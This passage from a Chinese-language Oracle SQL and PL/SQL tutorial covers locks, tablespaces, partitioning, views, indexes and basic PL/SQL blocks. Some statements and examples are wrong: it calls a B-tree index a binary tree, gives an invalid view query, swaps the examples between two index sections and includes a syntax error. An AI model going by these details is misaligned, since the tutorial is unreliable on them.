to_char:将任意类型转换成字符串 --日期转换 select to_char(sysdate, 'yyyy-mm-dd hh24:mi:ss') from dual --数字转换 select to_char(-100.789999999999,'L99G999D999') from dual  数字格式控制符 符号 描述 9 代表一位数字,如果当前位有数字,显示数字,否则不显示(小数部分仍然会强制显示) 0 强制显示该位,如果当前位有数字,显示数字,否则显示0 $ 增加美元符号显示 L 增加本地货币符号显示 . 小数点符号显示 , 千分位符号显示  to_date:将字符串转换成日期对象 --字符转换成日期 select to_date('2011-11-11 11:11:11', 'yyyy-mm-dd hh24:mi:ss') from dual  to_number:将字符转换成数字对象 --字符转换成数字对象 select to_number('209.976')*5 from dual select to_number('209.976', '9G999D999')*5 from dual 4. 数函数  abs:返回数字的绝对值 select abs(-1999) from dual  ceil:返回大于或等于n的最小的整数值 select ceil(2.48) from dual  floor:返回小于等于n的最大整数值 select floor(2.48) from dual  round:四舍五入 select round(2.48) from dual select round(2.485,2) from dual  bin_to_num:二进制转换成十进制 select bin_to_num(1,0,0,1,0) from dual   第四章 锁 一、 概述 锁是实现数据库并发控制的一个非常重要的技术。当事务在对某个数据对象进行操作前,先向系统发出请求,对其加锁。加锁后事务就对该数据对象有了一定的控制,在该事务释放锁之前,其他的事务不能对此数据对象进行更新操作。 在数据库中有两种基本的锁类型:排它锁(Exclusive Locks,即X锁)和共享锁(Share Locks,即S锁)。当数据对象被加上排它锁时,其他的事务不能对它读取和修改。加了共享锁的数据对象可以被其他事务读取,但不能修改。 根据保护的对象不同,Oracle数据库锁可以分为以下几大类:  DML锁(data locks,数据锁),用于保护数据的完整性  DDL锁(dictionary locks,字典锁),用于保护数据库对象的结构,如表、索引等的结构定义  内部锁和闩(internal locks and latches),保护数据库的内部结构 二、 DML锁 DML锁的目的在于保证并发情况下的数据完整性,在Oracle数据库中,DML锁主要包括TM锁和TX锁,其中TM锁称为表级锁,TX锁称为事务锁或行级锁。 1. 行级锁 当事务执行数据库插入、更新、删除操作时,该事务自动获得操作表中操作行的排它锁 --不允许其他用户对雇员表的部门编号为20的数据进行修改 select * from emp where deptno=20 for update --不允许其他用户对雇员表的所有数据进行修改 select * from emp for update --如果已经被锁定,就不用等待 select * from emp for update nowait --如果已经被锁定,更新的时候等待5秒 select * from emp for update wait 5 2. 锁模式  0(none)  1(null)  2(rs):行共享  3(rx):行排他  4(s):共享  5(srx):共享行排他  6(x):排他 数字越大,锁级别越高 3. 表级锁 当事务获得行锁后,此事务也将自动获得该行的表锁(行排他),以防止其它事务进行DDL语句影响记录行的更新  行共享锁(RS锁):允许用户进行任何操作,禁止排他锁 lock table emp in row share mode  行排他锁(RX锁):允许用户进行任何操作,禁止共享锁 lock table emp in row exclusive mode  共享锁(R锁):其他用户只能看,不能修改 lock table emp in share mode  排他锁(X锁):其他用户只能看,不能修改,不能加其他锁 lock table emp in exclusive mode  共享行排他(SRX锁):比行排他和共享锁级别高,不能添加共享锁 lock table emp in share row exclusive mode 4. 锁兼容性 S X RS RX SRX N/A S Y N Y N N Y X N N N N N Y RS Y N Y Y Y Y RX N N Y Y N Y SRX N N Y N N Y N/Y Y Y Y Y Y Y 5. 死锁 当两个事务需要一组有冲突的锁,而不能将事务继续下去的话,就出现死锁。 1) 用户A修改A表,事务不提交 2) 用户B修改B表,事务不提交 3) 用户A修改B表,阻塞 4) 用户B修改A表,阻塞 Oracle系统能自动发现死锁,并会自动选择工作量最少的事务进行撤销和释放所有锁 6. 悲观锁和乐观锁 数据的锁定分为两种方法,第一种叫做悲观锁,第二种叫做乐观锁  悲观锁:就是对数据的冲突采取一种悲观的态度,也就是说假设数据肯定会冲突,所以在数据开始读取的时候就把数据锁定住。  乐观锁:就是认为数据一般情况下不会造成冲突,所以在数据进行提交更新的时候,才会正式对数据的冲突与否进行检测,如果发现冲突了,则让用户返回错误的信息,让用户决定如何去做。 三、 DDL锁 1. 排它DDL锁 创建、修改、删除一个数据库对象的DDL语句获得操作对象的排它锁。 2. 共享DDL锁 需在数据库对象之间建立相互依赖关系的DDL语句通常需共享获得DDL锁 3. 分析锁 分析锁是一种独特的DDL锁类型,ORACLE使用它追踪共享池对象及它所引用数据库对象之间的依赖关系 四、 内部锁和闩 这是ORACLE中的一种特殊锁,用于顺序访问内部系统结构。当事务需向缓冲区写入信息时,为了使用此块内存区域,ORACLE首先必须取得这块内存区域的闩锁,才能向此块内存写入信息。   第五章 数据库对象 一、 概述 ORACLE数据库主要有如下数据库对象:  tablespace and datafile(表空间和数据文件)  table(表)  constraints(约束)  index(索引)  view(试图)  sequence(序列)  synonyms(同义词)  DB-link(数据库链路) 二、 表空间和数据文件 表空间是数据库的逻辑组成部分,从物理上讲,数据库数据是存放在数据文件中,从逻辑上讲数据库则是存放在表空间中,表空间是由一个或多个数据文件组成。  表空间  某一时刻只能属于一个数据库  由一个或多个数据文件组成  可进一步划分为逻辑存储  表空间主要分为两种  System表空间  随数据库创建  包含数据字典  包含system还原段  非system表空间  用于分开存储段  易于空间管理  控制分配给用户的空间量  数据文件  只能属于一个表空间和一个数据库  是方案对象数据的资料档案库  创建表空间  语法 CREATE TABLESPACE tablespacename [DATAFILE clause] [MINIMUM EXTENT integer[k|m]] [BLOCKSIZE integer[k]] [LOGGING|NOLOGGING] [DEFAULT storage_clause] [ONLINE|OFFLINE] [PERMANENT|TEMPORARY] [extent_management_clause] [segment_management_clause]  例子 --创建本地管理表空间 create tablespace firstSpance datafile 'e:/firstspance.dbf'size 100M extent management local uniform size 256k --修改文件大小 alter database datafile 'e:/firstspance.dbf' resize 110m --删除表空间 drop tablespace firstSpance INCLUDING CONTENTS and datafiles --使用数据库表空间 --创建用户指定表空间 create user guest identified by 123456 default tablespace firstSpance --表中指定表空间 create table account( accountid number(4), accountName varchar2(20) )tablespace firstSpance --表空间脱机 alter tablespace firstSpance offline --表空间联机 alter tablespace firstSpance online --表空间只读,不能进行dml操作 alter tablespace firstSpance read only 三、 同义词 Oracle数据库中提供了同义词管理的功能。同义词是数据库方案对象的一个别名,经常用于简化对象访问和提高对象访问的安全性。Oracle同义词有两种类型,分别是公用Oracle同义词与私有Oracle同义词。  公有同义词  语法 CREATE [OR REPLACE] PUBLIC SYNONYM sys_name FOR [SCHEMA.] object_name  创建(需拥有CREATE PUBLIC SYNONYM权限才可以创建) --创建同义词 create public synonym syn_emp for scott.emp --访问同义词 select * from syn_emp  删除 drop public synonym syn_emp  私有同义词  语法 CREATE [OR REPLACE] SYNONYM sys_name FOR [SCHEMA.] object_name  创建 --创建同义词 create synonym syn_pri_emp for emp --访问同义词 select * from syn_ pri _emp  删除 drop public synonym syn_emp 四、 表分区 当表中的数据量不断增大,查询数据的速度就会变慢,应用程序的性能就会下降,这时就应该考虑对表进行分区。表进行分区后,逻辑上表仍然是一张完整的表,只是将表中的数据在物理上存放到多个表空间(物理文件上),这样查询数据时,不至于每次都扫描整张表。  优点:  改善查询性能:对分区对象的查询可以仅搜索自己关心的分区,提高检索速度。  增强可用性:如果表的某个分区出现故障,表在其他分区的数据仍然可用;  维护方便:如果表的某个分区出现故障,需要修复数据,只修复该分区即可;  均衡I/O:可以把不同的分区映射到磁盘以平衡I/O,改善整个系统性能。  使用场合  表的大小超过2GB  表中包含历史数据,新的数据被增加都新的分区中  常见分区方法:  范围 --- 8  Hash --- 8i  列表 --- 9i  组合 --- 8i 1. 范围分区 范围分区将数据基于范围映射到每一个分区,这个范围是你在创建分区时指定的分区键决定的。这种分区方式是最为常用的,并且分区键经常采用日期。  特点:  最早、最经典的分区算法  Range分区通过对分区字段值的范围进行分区  Range分区特别适合于按时间周期进行数据的存储。日、周、月、年等。  数据管理能力强(数据迁移、数据备份、数据交换)  范围分区的数据可能不均匀  范围分区与记录值相关,实施难度和可维护性相对较差  例子  按值划分 --创建 CREATE TABLE book ( bookid NUMBER(5), bookname VARCHAR2(30), price NUMBER(8) )PARTITION BY RANGE (price)--分区字段 ( PARTITION P1 VALUES LESS THAN (4) TABLESPACE system, PARTITION P2 VALUES LESS THAN (8) TABLESPACE system, PARTITION P3 VALUES LESS THAN (maxvalue) TABLESPACE system, ) --MAXVALUE代表了一个不确定的值,这个值高于其它分区中的任何分区键的值  按日期划分 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date )PARTITION BY RANGE (birthday)--分区字段 ( PARTITION P1990 VALUES LESS THAN (to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system, PARTITION P1991 VALUES LESS THAN (to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ); 2. Hash分区(散列分区) 这类分区是在列值上使用散列算法,以确定将行放入哪个分区中。当列的值没有合适的条件时,建议使用散列分区。散列分区为通过指定分区编号来均匀分布数据的一种分区类型。如果你要使用hash分区,只需指定分区的数量即可。建议分区的数量采用2的n次方,这样可以使得各个分区间数据分布更加均匀。  特点  基于分区字段的HASH值,自动将记录插入到指定分区。  分区数一般是2的幂  易于实施  总体性能最佳  适合于静态数据  HASH分区适合于数据的均匀存储  数据管理能力弱  HASH分区对数据值无法控制  例子 CREATE TABLE classes ( clsno NUMBER(5), clsname VARCHAR2(30) )PARTITION BY HASH(clsno)--分区字段 ( PARTITION ph1 tablespace system, PARTITION ph2 tablespace system ) 3. List分区(列表分区) 该分区的特点是某列的值只有几个,基于这样的特点我们可以采用列表分区。  特点  List分区通过对分区字段的离散值进行分区  List分区是不排序的,而且分区之间也没有关联  List分区适合于对数据离散值进行控制  List分区只支持单个字段  List分区具有与range分区相似的优缺点  数据管理能力强  各分区的数据可能不均匀  例子 CREATE TABLE users ( userid NUMBER(5), username VARCHAR2(30), province char(5) )PARTITION BY list(province)--分区字段 ( PARTITION pl1 values('广东') tablespace system, PARTITION pl2 values('江西') tablespace system, PARTITION pl3 values('广西') tablespace system, PARTITION pl4 values('湖南') tablespace system ); 4. 组合分区 常见的组合分区主要有范围散列分区和范围列表分区  特点  既适合于历史数据,又适合于数据均匀分布  与范围分区一样提供高可用性和管理性  实现粒度更细的操作  组合范围列表分区 这种分区是基于范围分区和列表分区,表首先按某列进行范围分区,然后再按某列进行列表分区,分区之中的分区被称为子分区。  例子 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date, province char(5) )PARTITION BY RANGE (birthday) --主分区字段 subpartition BY LIST(province)--子分区字符 ( PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION pl1 values('广东') tablespace system, SUBPARTITION pl2 values('江西') tablespace system, SUBPARTITION pl3 values('广西') tablespace system, SUBPARTITION pl4 values('湖南') tablespace system ), PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION p21 values('广东') tablespace system, SUBPARTITION p22 values('江西') tablespace system, SUBPARTITION p23 values('广西') tablespace system, SUBPARTITION p24 values('湖南') tablespace system ) );  组合范围散列分区 这种分区是基于范围分区和散列分区,表首先按某列进行范围分区,然后再按某列进行散列分区。  例子 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date )PARTITION BY RANGE(birthday) --主分区字段 SUBPARTITION BY HASH(stuno)--子分区字符 ( PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION ph12 tablespace system, SUBPARTITION ph13 tablespace system ), PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION ph21 tablespace system, SUBPARTITION ph22 tablespace system ) ); 5. 表分区常用操作  添加分区 --添加主分区 alter table book add partition p4 values less than(maxvalue) tablespace system --添加子分区 ALTER TABLE student MODIFY PARTITION P1990 ADD SUBPARTITION pl5 values('福建')  删除分区 --删除主分区 ALTER TABLE student DROP PARTITION P1990 --删除子分区 ALTER TABLE student DROP SUBPARTITION p15  重命名表分区 ALTER TABLE student RENAME PARTITION P21 TO P2  显示数据库所有分区表的信息 select * from DBA_PART_TABLES  显示当前用户所有分区表的信息 select * from USER_PART_TABLES  查询指定表分区数据 select * from users partition(pl2)--主分区 select * from users subpartition(phl2)--子分区  删除分区表一个分区的数据 alter table book truncate partition p11   第六章 视图 一、 概述 视图是基于一个表或多个表或视图的逻辑表,本身不包含数据,通过它可以对表里面的数据进行查询和修改。视图基于的表称为基表。视图是存储在数据字典里的一条select语句。 通过创建视图可以提取数据的逻辑上的集合或组合。  为什么使用视图  控制数据访问  简化查询  数据独立性  避免重复访问相同的数据  使用修改基表的最大好处是安全性,即保证那些能被任意人修改的列的安全性  Oracle中视图分类  关系视图  内嵌视图  对象视图  物化视图 二、 关系视图 关系视图是作为数据库对象存在的,创建之后也可以通过工具或数据字典来查看视图的相关信息。关系视图是4种视图中最简单,同时也最常用的视图。  语法 CREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name [(alias[, alias]...)] AS subquery [WITH CHECK OPTION [CONSTRAINT constraint]] [WITH READ ONLY] 1. OR REPLACE:若所创建的试图已经存在,ORACLE自动重建该视图 2. FORCE:不管基表是否存在ORACLE都会自动创建该视图 3. NOFORCE:只有基表都存在ORACLE才会创建该视图 4. Alias:为视图产生的列定义的别名 5. subquery:一条完整的SELECT语句,可以在该语句中定义别名 6. WITH CHECK OPTION:插入或修改的数据行必须满足视图定义的约束 7. WITH READ ONLY:该视图上不能进行任何DML操作  例子 create or replace view view_Account_dept as select * from emp where deptno=10 --只读视图 create or replace view view_Account_dept as select * from emp where deptno=10 order by sal with read only --约束视图 create or replace view view_Account_dept as select * from emp where deptno=10 with check option  查询视图 select * from emp where view_Account_dept  修改视图 通过OR REPLACE 重新创建同名视图即可  删除视图 DROP VIEW VIEW_NAME语句删除视图  视图上的DML 操作原则 1. 简单视图可以执行DML操作; 2. 在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字时不能执行delete语句 3. 在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字,ROWNUM为例,列定义为表达式时不能执行update语句 4. 在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字,ROWNUM为例,列定义为表达式,表中非空的列子视图定义中未包括时不能执行insert语句 5. 可以使用WITH READ ONLY来屏蔽DML操作 三、 内嵌视图 内嵌视图是在from语句中的可以把表改成一个子查询。内嵌视图不属于任何用户,也不是对象,内嵌视图是子查询的一种。  例子 Select * from (select * from emp where deptno=10) where sal>2000 四、 对象视图 对象类型在数据库编程中有许多好处,但有时,应用程序已经开发完成。为了迎合对象类型而重建数据表是不现实的。对象视图正是解决这一问题的优秀策略。 五、 物化视图 常用于数据库的容灾,不是传统意义上虚拟视图,是实体化视图,和表一样可以存储数据、查询数据。主备数据库数据同步通过物化视图实现,主备数据库通过data link连接,在主备数据库物化视图进行数据复制。当主数据库垮掉时,备数据库接管,实现容灾。  语法 create materialized view materialized_view_name build [immediate|deferred] --1.创建方式 refresh [complete|fast|force|never] --2.物化视图刷新方式 on [commit|demand] --3.刷新触发方式 start with (start_date) --4.开始时间 next (interval_date) --5.间隔时间 with [primary key|rowid] --默认 primary key ENABLE QUERY REWRITE --7.是否启用查询重写 as --8.关键字 select statement; --9.基表选取数据的select语句 1. 创建方式  immediate(默认):立即  deferred:延迟,至第一次refresh时,才生效 2. 物化视图刷新方式  force(默认):如果可以快速刷新,就执行快速刷新,否则,执行完全刷新  complete:完全刷新,即刷新时更新全部数据,包括视图中已经生成的原有数据  fast:快速刷新,只刷新增量部分。前提是,需要在基表上创建物化视图日志。该日志记录基表数据变化情况,所以才能实现增量刷新  never:从不刷新 3. 刷新触发方式  on commit:基表有commit动作时,刷新视图,不能跨库执行(因为不知道别的库的提交动作)  on demand,在需要时刷新,根据后面设定的起始时间和时间间隔进行刷新,或者手动调用dbms_mview包中的过程刷新时再执行刷新。 4. 开始时间和间隔时间  4和5即开始刷新时间和下次刷新的时间间隔。如:start with sysdate next sysdate+1/1440表示马上开始,刷新间隔为1分钟。(与 on commit选项冲突) 5. 创建模式  primary key(默认):基于基表的主键创建  rowed:不能对基表执行分组函数、多表连结等需要把多个rowid合成一行的操作 6. 是否启用查询重写  如果设置了初始化参数query_rewrite_enabled=true则默认就会启用查询重写。但是,数据库默认该参数为false。并且,不是什么时候都应该启用查询重写。所以,该参数应该设置为false,而在创建特定物化视图时,根据需要开启该功能。 7. 注意  如果选择使用了上面第4,5选项,则不支持查询重写功能(原因很简单,所谓重写,就是将对基表的查询定位到了物化视图上,而4、5选项会造成物化视图上部分数据延迟,所以,不能重写)。  例子 --创建增量刷新的物化视图时应先创建存储的日志空间 --在scott.emp表中创建物化视图日志 create materialized view log on emp tablespace users with rowid; --开始创建物化视图 --方式一 create materialized view mv_emp tablespace users --指定表空间 build immediate --创建视图时即生成数据 refresh fast --基于增量刷新 on commit --数据DML操作提交就刷新 with rowid --基于ROWID刷新 as select * from emp --方式二 create materialized view mv_emp2 tablespace users --指定表空间 refresh fast --基于增量刷新 start with sysdate --创建视图时即生成数据 next sysdate+1/1440 /*每隔一分钟刷新一次*/ with rowid --基于ROWID刷新 as select * from emp --删除物化视图日志 drop materialized view mv_emp   第七章 索引 一、 概述 索引是建立在表上的可选对象,设计索引的目的是为了提高查询的速度。但同时索引也会增加系统的负担,进行影响系统的性能。 索引一旦建立后,当在表上进行DML操作时,Oracle会自动维护索引,并决定何时使用索引。 索引的使用对用户是透明的,用户不需要在执行SQL语句时指定使用哪个索引及如何使用索引,也就是说,无论表上是否创建有索引,SQL语句的用法不变。用户在进行操作时,不需要考虑索引的存在,索引只与系统性能相关。  索引的原理 当在一个没有创建索引的表中查询符合某个条件的记录时,DBMS会顺序地逐条读取每个记录与查询条件进行匹配,这种方式称为全表扫描。全表扫描方式需要遍历整个表,效率很低。  索引的类型 Oracle支持多种类型的索引,可以按列的多少、索引值是否唯一和索引数据的组织形式对索引进行分类,以满足各种表和查询条件的要求。  单列索引和复合索引  B树索引  位图索引  函数索引  创建索引 CREATE [UNIQUE] | [BITMAP] INDEX index_name ON table_name([column1 [ASC|DESC],column2 [ASC|DESC],…] | [express]) [TABLESPACE tablespace_name] [PCTFREE n1] [STORAGE (INITIAL n2)] [NOLOGGING] [NOLINE] [NOSORT]  UNIQUE:表示唯一索引,默认情况下,不使用该选项。  BITMAP:表示创建位图索引,默认情况下,不使用该选项。  PCTFREE:指定索引在数据块中的空闲空间。对于经常插入数据的表,应该为表中索引指定一个较大的空闲空间。  NOLOGGING:表示在创建索引的过程中不产生任何重做日志信息。默认情况下,不使用该选项。  ONLINE:表示在创建或重建索引时,允许对表进行DML操作。默认情况下,不使用该选项。  NOSORT:默认情况下,不使用该选项。则Oracle在创建索引时对表中记录进行排序。如果表中数据已经是按该索引顺序排列的,则可以使用该选项。 二、 单列索引和复合索引 一个索引可以由一个或多个列组成。基于单个列所创建的索引称为单列索引,基于两列或多列所创建的索引称为多列索引。 三、 B树索引 B树索引是Oracle数据库中最常用的一种索引。当使用CREATE INDEX语句创建索引时,默认创建的索引就是B树索引。B树索引就是一棵二叉树,它由根、分支节点和叶子节点三部分构成。叶子节点包含索引列和指向表中每个匹配行的ROWID值。叶子节点是一个双向链表,因此可以对其进行任何方面的范围扫描。 B树索引中所有叶子节点都具有相同的深度,所以不管查询条件如何,查询速度基本相同。另外,B树索引能够适应各种查询条件,包括精确查询、模糊查询和比较查询。  例子 --创建B树索引,属于单列索引 create index idx_emp_job on emp(job) --创建B树索引,属于复合索引 create index idx_emp_nameorsal on emp(ename,sal) --创建唯一的B树索引,属于单列索引 create unique index idx_emp_ename on emp(ename) --删除索引 drop index idx_emp_job drop index idx_emp_nameorsal drop index idx_emp_ename --如果表已存在大量的数据,需要规划索引段 create index idx_emp_nameorsal on emp(ename,sal) pctfree 30 tablespace system 四、 位图索引 在B树索引中,保存的是经排序过的索引列及其对应的ROWID值。但是对于一些基数很小的列来说,这样做并不能显著提高查询的速度。所谓基数,是指某个列可能拥有的不重复值的个数。比如性别列的基数为2(只有男和女)。 因此,对于象性别、婚姻状况、政治面貌等只具有几个固定值的字段而言,如果要建立索引,应该建立位图索引,而不是默认的B树索引。  例子 --创建位图索引,单列索引 create bitmap index idx_bm_job on emp(job) --创建位图索引,复合索引 create bitmap index idx_bm_jobordeptno on emp(job,deptno) --删除位图索引 drop index idx_bm_job drop index idx_bm_jobordeptno 五、 函数索引 函数索引既可以使用B树索引,也可以使用位图索引,可以根据函数或表达式的结果的基数大小来进行选择,当函数或表达式的结果不确定时采用B树索引,当函数或表达式的结果是固定的几个值时采用位图索引。  例子 --合并索引 alter index idx_emp_ename COALESCE 六、 并和重建索引 表在使用一段时间后,由于用户不断对其进行更新操作,而每次对表的更新必然伴随着索引的改变,因此,在索引中会产生大量的碎片,从而降低索引的使用效率。有两种方法可以清理碎片:合并索引和重建索引。  合并索引就是将B树叶子节点中的存储碎片合并在一起,从而提高存取效率,但这种合并并不会改变索引的物理组织结构。 --创建B树类型的函数索引 create index idx_fun_emp_hiredate on emp(to_char(hiredate,'yyyy-mm-dd')) --创建位图类型的函数索引 create index idx_fun_emp_job on emp(upper(job))  重建索引相当于删除原来的索引,然后再创建一个新的索引,因此,CREAT INDEX语句中的选项同样适用于重建索引。如果在索引列上频繁进行UPDATE和DELETE操作,为了提高空间的利用率,应该定期重建索引。 七、 管理索引的原则 使用索引的目的是为了提高系统的效率,但同时它也会增加系统的负担,进行影响系统的性能,因为系统必须在进行DML操作后维护索引数据。 在新的SQL标准中并不推荐使用索引,而是建议在创建表的时候用主键替代。因此,为了防止使用索引后反而降低系统的性能,应该遵循一些基本的原则: 1. 小表不需要建立索引。 2. 对于大表而言,如果经常查询的记录数目少于表中总记录数目的15%时,可以创建索引。这个比例并不绝对,它与全表扫描速度成反比。 3. 对于大部分列值不重复的列可建立索引。 4. 对于基数大的列,适合建立B树索引,而对于基数小的列适合建立位图索引。 5. 对于列中有许多空值,但经常查询所有的非空值记录的列,应该建立索引。 6. LONG和LONG RAW列不能创建索引。 7. 经常进行连接查询的列上应该创建索引。 8. 在使用CREATE INDEX语句创建查询时,将最常查询的列放在其他列前面。 9. 维护索引需要开销,特别时对表进行插入和删除操作时,因此要限制表中索引的数量。对于主要用于读的表,则索引多就有好处,但是,一个表如果经常被更改,则索引应少点。 10. 在表中插入数据后创建索引。如果在装载数据之前创建了索引,那么当插入每行时,Oracle都必须更改每个索引。 八、 ROWID和ROWNUM 1. ROWID rowid是一个伪列,是用来确保表中行的唯一性,它并不能指示出行的物理位置,但可以用来定位行。rowid是存储在索引中的一组既定的值(当行确定后)。我们可以像表中普通的列一样将它选出来, 利用rowid是访问表中一行的最快方式。rowid的是基于64位编码的18个字符显示(数据对象编号(6)+文件编号(3) +块编号(6)+行编号(3)=18位) select rowid from emp  ROWID的使用 --快速删除重复的记录 delete from temp t where rowid not in( select max(rowid) from temp where t.id=id and t.name=name and t.sal = sal ) 2. ROWNUM ROWNUM是一个序列,是oracle数据库从数据文件或缓冲区中读取数据的顺序。它取得第一条记录则rownum值为1,第二条为2,依次类推。 select rownum,emp.* from emp  ROWID的使用 --取前3条记录 select * from emp where rownum<=3--方式一 select * from emp where rownum!=4--方式二 --分页 select * from emp where empno not in( select empno from emp where rownum<5--方式一 ) and rownum <4   第八章 PL/SQL编程 一、 介绍 PL/SQL是oracle在标准sql语言上的扩展,PL/SQL不仅允许嵌入sql语言,还可以定义变量和常量,允许使用例外处理各种错误,这样使它的功能变得更加强大。 PL/SQL也是一种语言,叫做过程化sql语言(procedural language/sql),通过此语言可以实现复杂功能或者复杂的计算。  优点 1. 提高应用程序的运行性能 2. 模块化的设计思想 3. 减少网络传输量 4. 提高安全性  缺点 1. 可移植性差 2. 违反MVC设计模式 3. 无法进行面向对象编程 4. 无法做成通用的业务逻辑框架 5. 代码可读性差,相当难维护  分类 二、 PL/SQL基础 1. 编写规范 1) 注释 --单行注释 /*块注释*/ 2) 标识符的命名规范  定义变量:建议用v_作为前缀v_price  定义常量:建议用c_作为前缀c_pi  定义游标:建议用_cursor作为后缀emp_cursor  定义例外:建议用e_作为前缀e_error 2. 块结构 PL/SQL块由三个部分组成:定义部分、执行部分、例外处理部分 Declare /* 定义部分(可选):定义常量、变量、游标、例外,复杂数据类型 */ begin /* 执行部分(必须):要执行的PL/SQL语句和SQL语句 */ exception /*例外部分(可选):处理运行各种错误*/ end 案例一 :只定义执行部分 begin /* dbms_output是oracle提供的包(类似java开发包) 该包包含一些过程,put_line就是其一个过程 */ dbms_output.put_line('HELLO WORLD'); --控制台输出 end; 案例二 :定义声明部分和执行部分 declare --声明变量 v_name varchar2(20); v_sal number(7,2); begin --执行查询 select ename,sal into v_name,v_sal from emp where rownum=1; --控制台输出 dbms_output.put_line('用户名:' || v_name); dbms_output.put_line('工资:' || v_sal); end; 案例三 :定义声明部分、执行部分和例外部分 declare --声明变量 v_name varchar2(20); v_sal number(7,2); begin --执行查询,条件中的&表示从控制接受数据 select ename,sal into v_name,v_sal from emp where empno=&no; --控制台输出 dbms_output.put_line('用户名:' || v_name); dbms_output.put_line('工资:' || v_sal); exception --例外处理(no_data_found) when no_data_found then dbms_output.put_line('执行查询没有结果'); end; 3. 预定义例外 1) case_not_found预定义例外 在开发pl/sql块中编写case语句时,如果在when子句中没有包含必须的条件分支,就会触发case_not_found例外。 2) cursor_already_open预定义例外 当重新打开已经打开的游标时,会隐含的触发cursor_already_open例外。 3) dup_val_on_index预定义例外 在唯一索引所对应的列上插入重复的值时,会隐含的触发例外 4) invalid_cursorn预定义例外 当试图在不合法的游标上执行操作时,会触发该例外 5) invalid_number预定义例外 当输入的数据有误时,会触发该例外 6) no_data_found预定义例外 当执行select into没有返回行,就会触发该例外 7) too_many_rows预定义例外 当执行select into语句时,如果返回超过了一行,则会触发该例外 8) zero_divide预定义例外 当执行2/0语句时,则会触发该例外 9) value_error预定义例外 当在执行赋值操作时,如果变量的长度不足以容纳实际数据,则会触发该例外value_error 10) others 4. 变量类型分类 在编写PL/SQL时,可以定义变量和常量,常用的类型主要有:  标量类型(scalar)  复合类型(composite)  参照类型(reference)  lob(large object) 5. 标量类型:常用类型 declare --定义一个变长字符串 v_name varchar2(20); --定义小数,并赋值 v_sal number(7,2) :=9.8; --定义整数 v_num number(4); --定义日期 v_birthday date; --定义布尔类型,不能为空,初始值为false v_flg boolean not null default false; --使用%type类型 v_job emp.job%type; begin v_flg := true; v_birthday :=sysdate; dbms_output.put_line('当前时间:' || v_birthday); end; 6. 复合类型:可以存放多个值。主要包括PL/SQL记录、PL/SQL表、嵌入表和varray这四种类型 记录类型:类似于c中的结构体 declare --定义记录类型 type emp_record_type is record( empno emp.empno%type, ename emp.ename%type, sal emp.sal%type ); --定义变量引用记录类型 v_record emp_record_type; begin --使用记录类型 select empno,ename,sal into v_record from emp where rownum=1; --控制台输出 dbms_output.put_line('雇员编号:' || v_record.empno); dbms_output.put_line('雇员姓名:' || v_record.ename); dbms_output.put_line('雇员工资:' || v_record.sal); end; 表类型:类似于java语言中的数组 declare --声明表类型 type emp_table_type is table of varchar2(20) index by PLS_INTEGER;--表示表按整数来排序 v_enames emp_table_type;--定义变量引用表类型 begin select ename into v_enames(0) from emp where rownum=1; select ename into v_enames(1) from emp where empno=7499; select ename into v_enames(2) from emp where empno=7698; --输出 dbms_output.put_line('下标0:' || v_enames(0)); dbms_output.put_line('下标1:' || v_enames(1)); dbms_output.put_line('下标2:' || v_enames(2)); end; varray类型:可变长数组 declare --定义varray类型 type varray_list is varray(20) of number(4); --定义变量引用varray类型 v_list varray_list:=varray_list(7369,7499,7566); begin --for i in v_list.first..v_list.last for i in 1..v_list.count loop dbms_output.put_line(v_list(i)); end loop; end; PL/SQL集合方法 1) exists():用于确定特定集合元素是否存在 2) count:用于返回集合变量的元素总个数 3) limit:用于返回varray变量所允许的最大元素个数 4) first:用于返回集合变量中的一个元素的下标 5) last:用于返回集合变量中最后一个元素的下标 6) prior():返回当前元素前一个元素的下标 7) next():返回当前元素后一个元素的下标 8) extend:为集合变量添加元素,此方法适合用于嵌套表和varray 9) trim:从集合变量尾部删除元素,此方法适用于嵌套表和varray 10) delete:从集合变量中删除特定的元素,此方法适用于嵌套表和index-by表 7. 参照类型:类似c语言中的指针,oracle的游标 三、 PL/SQL控制语句 1. 条件分支语句 1) if—then declare --声明变量 v_empno emp.empno%type; v_sal emp.sal%type; begin --根据雇员编号查询工资 select empno,sal into v_empno,v_sal from emp where empno=&no; --如果工资小于2000就加100 if v_sal<2000 then --工资加100 update emp set sal = sal+100 where empno=v_empno; --提交 commit; end if; end; 2) if—then—else declare --声明变量 v_loginname varchar2(10); v_password varchar2(10); begin --从控制台接收数据 v_loginname := '&ln'; v_password := '&pw'; if v_loginname = 'admin' and v_password = '123456' then dbms_output.put_line('用户登录成功!'); else dbms_output.put_line('用户登录失败!'); end if; end; 3) if—then—elsif—else declare --声明变量 v_empno emp.empno%type; v_job emp.job%type; begin --根据雇员编号查询职位 select empno,job into v_empno,v_job from emp where empno=&no; /*如果雇员所属职位是manager工资加1000 职位是salesman工资加500 其他职位加200 */ if v_job = 'MANAGER' then --MANAGER职位工资加1000 update emp set sal = sal+1000 where empno=v_empno; elsif v_job = 'SALESMAN' then --SALESMAN职位工资加500 update emp set sal = sal+500 where empno=v_empno; else --其他职位工资加200 update emp set sal = sal+200 where empno=v_empno; end if; --提交 commit; end; 4) case declare --声明变量 v_mark number(4); v_outstr varchar2(40); begin --从控制台接收成绩 v_mark := &m; case when v_mark=90 then v_outstr := '优秀'; when v_mark=80 then v_outstr := '良好'; when v_mark=70 then v_outstr := '中等'; when v_mark=60 then v_outstr := '及格'; when v_mark=0 then v_outstr := '不及格'; else v_outstr := '成绩输入有误'; end case; --控制台输出 dbms_output.put_line(v_outstr); end; 2. 循环语句 1) loop LOOP 要执行的语句; EXIT WHEN /*条件满足,退出循环语句*/ 